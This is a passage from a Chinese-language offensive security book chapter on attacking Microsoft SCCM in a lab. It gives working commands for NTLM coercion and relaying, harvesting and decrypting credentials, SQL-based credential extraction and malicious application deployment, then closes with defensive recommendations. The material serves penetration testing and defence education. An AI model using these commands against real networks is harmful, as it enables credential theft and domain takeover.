我们的下一个任务是将 SCCM 部署到DetectionLab
中。我将在一台 WEF 机器上安装它。
部署
部署过程相当漫长。我建议为在 WEF 虚拟机上添加 CPU 和内存预留 2 到 3 小时的时间。
注意
为了部署 SCCM,我使用了两个资源。第一个由Benoit Lecours制作,来自 System Center Dudes (www.systemcenterdudes.com/complete-sccm-installation-guide-and-configuration/
),第二个是前一个版本的改编版,由HTTP418提供 (http418infosec.com/grow-your-own-sccm-lab
)。
我不会在此提供逐步指南;然而,我会简要地讲述我的过程:
-
在 WEF 机器上,启用
Windows Installer
和Windows Module** **Installer
服务。 -
使用
extadsch.exe
执行架构扩展。 -
按照 HTTP418 指南在 AD 中创建容器和账户。
-
使用组策略推送防火墙规则,并将客户端推送安装账户添加到目标机器的本地管理员组中。
-
安装所需的 Windows 功能。
-
安装 Windows 评估和部署
-
以评估模式安装 Microsoft SQL Server。
-
设置所需的 SPN。
-
我跳过了数据库创建,只在 SQL Server 上启用了 IP 地址监听。
-
安装 SCCM 的评估版。
安装完成后,需要进行配置。我按照指南操作,最终能够在一台 WIN10 计算机上运行脚本,如下图所示:
图 10.3 – 从配置控制台在 WIN10 客户端上运行脚本
现在部署完成,我们应该有一个最小的工作环境,用于攻击模拟。
注意
0xcsandker在他的博客中创建了一个关于 SCCM 攻击面的大量回顾,并附有精心结构化的架构图,可以在此链接查看:www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/
。
和往常一样,我们的第一步将是侦察。我们将重点探索 SCCM 基础设施和主机枚举。
侦察
在这一节中,我们将讨论侦察和枚举。我们将简要介绍如何仅通过网络访问识别 SCCM,然后深入探讨假设 突破场景。
为了从未加入域的机器中识别 SCCM 基础设施,攻击者可能会执行一个简单的端口扫描,寻找 TCP 端口8530
和8531
(软件更新点)、10123
(管理点)、4022
和1433
(SQL 服务器)。此外,UDP 端口4011
可能是提供预启动执行环境(PXE)启动介质的指示器。SCCM 可以部署有或没有 PXE 提供的操作系统部署(OSD)。我们的实验室中没有部署 PXE,但有一些有前景的向量值得考虑。
要检查环境中是否支持 PXE,可以使用一个叫做PXEThief
[11]的工具。该工具会发送一个 DHCP 发现请求,搜索 PXE 服务器并获取 PXE 启动文件。如果 PXE 介质被加密,攻击者需要猜测或破解密码来进行解密。解密后,工具会解析文件中任务序列或存储在集合变量中的 NAA 账户和凭据。在 OSD 中,有一个任务序列功能。简而言之,这个功能是一个定义好的步骤列表,用于正确部署机器。其中一些步骤,如任务序列域加入账户,会使用域用户凭据。此外,任务序列步骤中的集合变量可能会使用硬编码凭据。该工具将为你提取这些凭据。或者,攻击者可以等到操作系统安装开始,然后检查C:\Windows\panther\unattend\unattend.xml
文件,获取一组域凭据。
一种获取 NAA 凭据的方法是由Raiona_ZA在 DEFCON 演讲中展示的[12]。如果F8-调试未被禁用,攻击者可以通过反复按F8调用SYSTEM
shell,然后运行一个 Visual Basic 脚本来转储环境变量,并在其中搜索_SMSTSReserved1
(用户名)和_SMSTSReserved2
(密码)值。这些就是你的 NAA 凭据。
现在,让我们从已被攻破的域用户的背景下进行一些实践性发现和枚举。在本章中,我将一直使用Mayyhem制作的SharpSCCM
[13]工具。我们可以通过两种不同的方式找到 SCCM MP 和站点代码——PowerShell 和 WMI(SharpSCCM
使用 WMI):
(ADSISearcher).FindAll() | % {$_.Properties}
Get-WmiObject -Class SMS_Authority -Namespace root\CCM
SharpSCCM
命令执行结果如下:
图 10.4 – SharpSCCM 显示 MP 和站点名称
另外,MP 可以从存储在机器上C:\Windows\CCM\Logs
的日志中提取。SharpSCCM
有以下命令:
SharpSCCM.exe local triage
可能攻击者在没有管理员权限的情况下能做的最后一件事就是检查之前执行过的脚本,前提是启用了 PowerShell 日志记录。这样可以通过 Windows 事件检索脚本内容。以下 PowerShell 命令会查阅 Windows PowerShell 日志中的事件,并寻找事件 ID 4104
(PowerShell 脚本 块日志记录):
Get-WinEvent -ProviderName Microsoft-Windows-PowerShell | Where-Object Id -eq 4104 | fl
例如,我们可以看到之前的侦察命令:
图 10.5 – PowerShell 日志记录的结果
从主站点执行的脚本存储在客户端的 C:\Windows\CCM\ScriptStore
文件夹中。但要读取此文件夹中脚本的内容,必须具备 SYSTEM
权限。
此外,我们还可以尝试从 DP 上的 SCCMContentLib$
共享中拉取文件。有一个名为 CMLoot
[14] 的工具,可以列出共享中的文件并下载它们。
接下来,我们将进入下一节,讨论特权提升技术。
特权提升
本节将重点讨论通过凭证收集和认证强制进行的特权提升。对于凭证收集,我们将需要一个本地管理员账户。
客户端推送认证强制
和之前章节中一样,这里我们也将哈希捕获和转发阶段分开。我们的目标是通过控制的机器强制进行客户端推送安装账户认证,从而捕获 NTLM 响应。
注意
强制攻击由 Mayyhem 在他的博客文章中提出,地址为 posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a
。
重要的一点是,这种攻击不需要管理员权限;被捕获的客户端推送安装账户的 NTLM 响应将授予对所有使用过该账户的其他机器的管理员访问权限。主要的前提条件是边界组的自动客户端分配、站点范围内的自动推送安装以及允许回退到 NTLM 连接。此外,我们需要确保通信安全的仅限 HTTPS选项未启用。在配置过程中,我们已强制启用了所有这些选项。
攻击者向 MP 发送新的设备注册请求,随后发送一个心跳 数据发现记录(DDR),告知客户端尚未在带有监听器的机器上安装。站点服务器尝试使用客户端推送安装账户并最终使用其机器账户来安装客户端。此攻击也是 SharpSCCM
的一部分:
SharpSCCM.exe invoke client-push -t 192.168.56.100
在客户端,攻击呈现如下截图:
图 10.6 – 成功强制攻击的逐步过程
在被控制的机器上,我们捕获了客户端推送安装账户和 MP 计算机账户的 NTLM 响应:
图 10.7 – 捕获的 NTLM 响应
管理员将会检测到这样的攻击,因为我们控制的机器的 IP 地址将出现在控制台中,以下截图展示了这一点:
图 10.8 – 控制台中显示捕获的机器 IP 地址
如果我们在 MP 上具有管理员权限,我们可以使用--as-admin
选项来为我们执行清理操作。
凭证收集
我们将专注于三种凭证类型 – 设备集合变量、任务序列变量和 NAA 凭证。
什么是设备集合?简单来说,它就是一组设备。有一些预定义的组,但我们也可以创建自己的组。在集合的情况下,我们可以为特定目的添加变量。然后,这些变量可以被任务序列使用。攻击者也可以提取它们。首先,让我们添加一个集合变量。这些变量在 资产与合规性 | 设备集合 | 选择您的集合 | 属性 中。我的示例截图如下所示:
图 10.9 – 设备集合变量
我们之前讨论过任务序列和 NAA。SharpSCCM
可以本地或远程提取这些信息。通过 WMI,攻击者从 root\ccm\policy\Machine\ActualConfig
WMI 命名空间中的不同类(CCM_CollectionVariable
、CCM_TaskSequence
和 CCM_NetworkAccessAccount)查询 Blob。另一种方法是从 公共信息模型(CIM)存储中提取 Blob。为了获取明文凭证,需要本地管理员权限,因为 NAA 凭证是通过 DPAPI 主密钥进行保护的。最后,远程选项将通过 HTTP 请求从 MP 获取机器策略并解密机密:
SharpSCCM.exe local secrets -m wmi
SharpSCCM.exe local secrets -m disk
SharpSCCM.exe get secrets
上一个命令执行的结果如下截图所示:
图 10.10 – 凭证收集
注意
另一种获取 NAA 的方法,取决于 机器账户配额(MAQ)值,在 http418 的博客文章中展示过,链接如下 – http418infosec.com/offensive-sccm-summary#Credential_Access_%E2%80%93_NAA
。
在接下来的部分,我们将专注于仅基于 SCCM 基础设施执行横向渗透的方法。
横向渗透
SCCM 设计上是一个非常适合横向渗透的软件。代理被安装在整个环境中;高权限账户用于执行管理任务。此外,它是融合合法流量和活动的好机会。我们将从将强制认证扩展到中继攻击开始讨论横向渗透。
客户端推送认证中继攻击
该攻击与我们在权限提升部分进行的攻击非常相似。唯一的区别是这次我们想将捕获的 NTLM 响应中继到另一台机器上。(温馨提示:中继要求禁用签名)。在客户端,这个攻击过程完全相同。在我们的监听机器上,我们启动ntlmrelayx
:
impacket-ntlmrelayx -t 192.168.56.106 -smb2support
在强制客户端推送安装后,我们将其中继到 Exchange 服务器并转储 SAM 哈希值,如下图所示:
图 10.11 – 成功的 NTLM 中继攻击
如果未定义客户端推送安装账户,则默认情况下,SCCM 服务器的计算机账户将用于推送客户端。显然,这个计算机账户必须是每台计算机的本地 Administrators
组的成员。在这种情况下,攻击过程将与之前相同,唯一的区别是将用于中继的账户。
站点接管
有两种站点接管技术。遗憾的是,由于 SQL Server 和 SMS 提供程序角色已安装在主站点服务器上,我们无法在实验室中复制这些技术。
第一种技术基于主站点服务器的计算机账户应在 SQL Server 和 MP 服务器的本地 Administrators
组中的事实。然后,攻击者强制从主站点服务器进行 NTLM 认证,并将其中继到 SQL Server。接下来,可以使用 SQL 查询授予 完全管理员 SCCM 角色;sccmhunter
[15] 工具也可以为你完成这项工作。
注意
该技术在 Mayyhem 的博文 SCCM 站点通过自动客户端推送安装接管 中有很好的描述:posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1
。
第二种技术利用 AdminService
API 来接管 SCCM 站点。该 API 由 SMS 提供程序托管。每个提供程序都有一个本地组,名为 SMS Admins
。默认情况下,主站点服务器计算机账户是该组的成员。现在,接管攻击将与之前的攻击相同。通过任何你喜欢的方式强制认证,捕获并将主站点计算机账户的 NTLM 响应中继到托管在 SMS 提供程序上的 AdminService
API,并将一个用户添加为 完全管理员。
注意
Garrett Foster 的原始研究可以在这里找到:posts.specterops.io/site-takeover-via-sccms-adminservice-api-d932e22b2bf
。
这两种技术在默认安装后均可工作,仅需要网络连接和标准用户凭据。
滥用 Microsoft SQL Server
在站点接管后,或者如果攻击者获得了主站点使用的 Microsoft SQL Server 的访问权限,将会打开新的途径。首先,可以解密存储在SC_UserAccount
表中的 SCCM 用户凭据。在我们的案例中,我将使用 SQL Server Management Studio 运行查询。查询如下所示:
USE CM_WIN
SELECT UserName,Password FROM SC_UserAccount
然后,我将使用SCCMDecryptPoc
[16]工具,由XPN开发。解密结果如下所示:
图 10.12 – sccm_cli_push 帐户的解密密码
另一个信息收集活动是转储与任务序列相关的表格,并查找凭据。输出将被混淆,但SharpSCCM
库中由Mayyhem开发的DeObfuscateSecretString
工具将能够提供帮助。
最后,有一个名为sp_CP_GenerateCCRByName
的存储过程,可以用来强制客户端推送安装,并使 MP 机器帐户对我们选择的机器上的ADMIN$
共享进行身份验证。代码如下:
USE CM_WIN
GO
DECLARE @return_value int
EXEC @return_value = [dbo].[sp_CP_GenerateCCRByName]
@MachineNameList = N'192.168.56.106',
@SiteCode = N'WIN',
@bForced = false,
@bForceReinstall = false
SELECT 'Return Value' = @return_value
GO
结果是强制身份验证尝试,如下所示:
图 10.13 – 存储过程执行导致的强制身份验证
实际上,这些后期利用行为并非必须执行,因为所有这些行为在早期阶段都已展示过。目的是强调主站点的 SQL Server 也需要进行良好的加固和维护。
部署应用程序
这是横向移动的最后一个场景。它也可以作为持久性技术来处理。一个常见场景是将恶意应用程序部署到整个环境或特定目标上。然而,我们将尝试另一个场景。从受控的 UNC 路径触发应用程序安装,因此我们可以捕获域管理员的 NTLM 响应。
注意
Mayyhem的原创研究可以在这里找到:posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867
。
我将授予vinegrep
用户完全管理员权限;然而,应用管理员权限应该足够了。可以通过运行以下命令验证新权限:
SharpSCCM.exe get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
命令执行的结果如下:
图 10.14 – 新权限已应用
我们的计划是找到一个已安装客户端且主用户为Administrator
的活动设备。我们将提取资源 ID 以进行下一步。以下命令将提供所需的信息:
SharpSCCM.exe get primary-users -u Administrator
SharpSCCM.exe get devices -w "Active=1 and Client=1"
命令执行结果如下截图所示:
图 10.15 – WIN10 机器是我们的目标设备
攻击包括以下步骤:
-
创建一个新的设备集合。
-
将目标机器添加到此集合中。
-
创建一个带有 UNC 路径指向攻击者机器的应用程序。
-
让该集合中的目标设备安装新应用程序。
以下命令将自动执行上述步骤:
SharpSCCM.exe exec -rid 16777219 -r 192.168.56.100
攻击执行过程如下:
图 10.16 – 成功的攻击执行
经过一段时间,我们捕获了 NTLM 响应,如下图所示:
图 10.17 – 成功的中继到 Exchange 服务器
此攻击也可以针对多个用户进行。如果需要,计算机帐户还可以强制使用--run-as-system
标志进行身份验证。最后一节将解释防御性建议。
防御性建议
防御性建议是SharpSCCM
维基的一部分。在这里,我们将介绍最有效且易于实施的建议。我不会重复诸如安装更新、确保特权帐户使用强密码、审核活动、尽可能强制签名等内容。让我们来看一些防御性建议:
-
为防止强制攻击,应禁用 NTLM 回退
-
在域中禁用 NAAs,并改用增强 HTTP
-
使用软件更新功能安装客户端,而不是自动站点范围客户端推送安装
-
清理任务序列和设备集合变量中的敏感数据
-
对于 PXE,设置媒体的强密码并禁用F8 调试
-
检查服务帐户,以确保应用最小特权原则
-
不要运行 Web 客户端服务,以避免 HTTP 强制攻击
-
启用 SMS 提供商调用的多因素认证[17]
-
要求站点数据库启用身份验证扩展保护(EPA),以避免中继到 MS SQL Server
前三条建议将显著降低您被攻击的风险。此外,还有一份关于如何使用 SCCM 作为恶意活动狩猎工具的指南[18]。
总结
本章介绍了针对 IT 管理软件的技术和攻击。我们简要讨论了如何危害 WSUS 以及进行此类敌对活动的工具。此外,我们深入探讨了 SCCM 生态系统,并实际展示了配置错误如何导致环境的完全接管。稍后,在防御性建议部分,我强调了三条最重要的建议,用以改善 SCCM 的安全态势。
总体而言,本书旨在展示基于 Windows 的基础设施有多复杂,以及它包含了多少隐藏的部分。显然,新的漏洞和攻击向量将定期出现,但也有足够的安全机制使敌对者的攻击变得更加困难。
参考文献
-
PyWSUS
:github.com/GoSecure/pywsus
-
bettercap
:github.com/bettercap/bettercap
-
WSUS 攻击:
www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/
-
WSuspicious
:github.com/GoSecure/WSuspicious
-
使用 WSUS 部署更新的组策略设置:
woshub.com/group-policy-settings-to-deploy-updates-using-wsus/
-
SharpWSUS
:github.com/nettitude/SharpWSUS
-
WSUSpendu
:github.com/alex-dengx/WSUSpendu
-
PSExec
:learn.microsoft.com/en-us/sysinternals/downloads/psexec
-
PXEThief
:github.com/MWR-CyberSec/PXEThief
-
Christopher Panayi,从配置管理器中提取密码:
media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Christopher%20Panayi%20-%20Pulling%20Passwords%20out%20of%20Configuration%20Manager%20Practical%20Attacks%20against%20Microsofts%20Endpoint%20Management%20Software.pdf
-
SharpSCCM
:github.com/Mayyhem/SharpSCCM/
-
CMLoot
:github.com/1njected/CMLoot
-
sccmhunter
工具:github.com/garrettfoster13/sccmhunter#mssql
-
sccmdecryptpoc
工具:gist.github.com/xpn/5f497d2725a041922c427c3aaa3b37d1
-
启用 MFA 以供 SMS 提供程序调用:
learn.microsoft.com/en-us/troubleshoot/mem/configmgr/setup-migrate-backup-recovery/enable-mfa-for-sms-provider-calls
-
SCCM for DFIR:
informationonsecurity.blogspot.com/2015/11/microsofts-accidental-enterprise-dfir.xhtml
进一步阅读
以下进一步学习的资源将帮助你更深入地了解本章涉及的攻击:
-
Gabriel Prud’homme,SCCM Exploitation: The First Cred Is the Deepest II:
www.youtube.com/watch?v=W9PC9erm_pI
-
Chris Thompson,SharpSCCM Demos at 2023 Black Hat USA Arsenal:
www.youtube.com/watch?v=uyI5rgR0D-s
-
Christopher Panayi,Identifying and retrieving credentials from SCCM/MECM Task Sequences:
www.mwrcybersec.com/research_items/identifying-and-retrieving-credentials-from-sccm-mecm-task-sequences
-
HTTP418InfoSec,Offensive SCCM Summary:
http418infosec.com/offensive-sccm-summary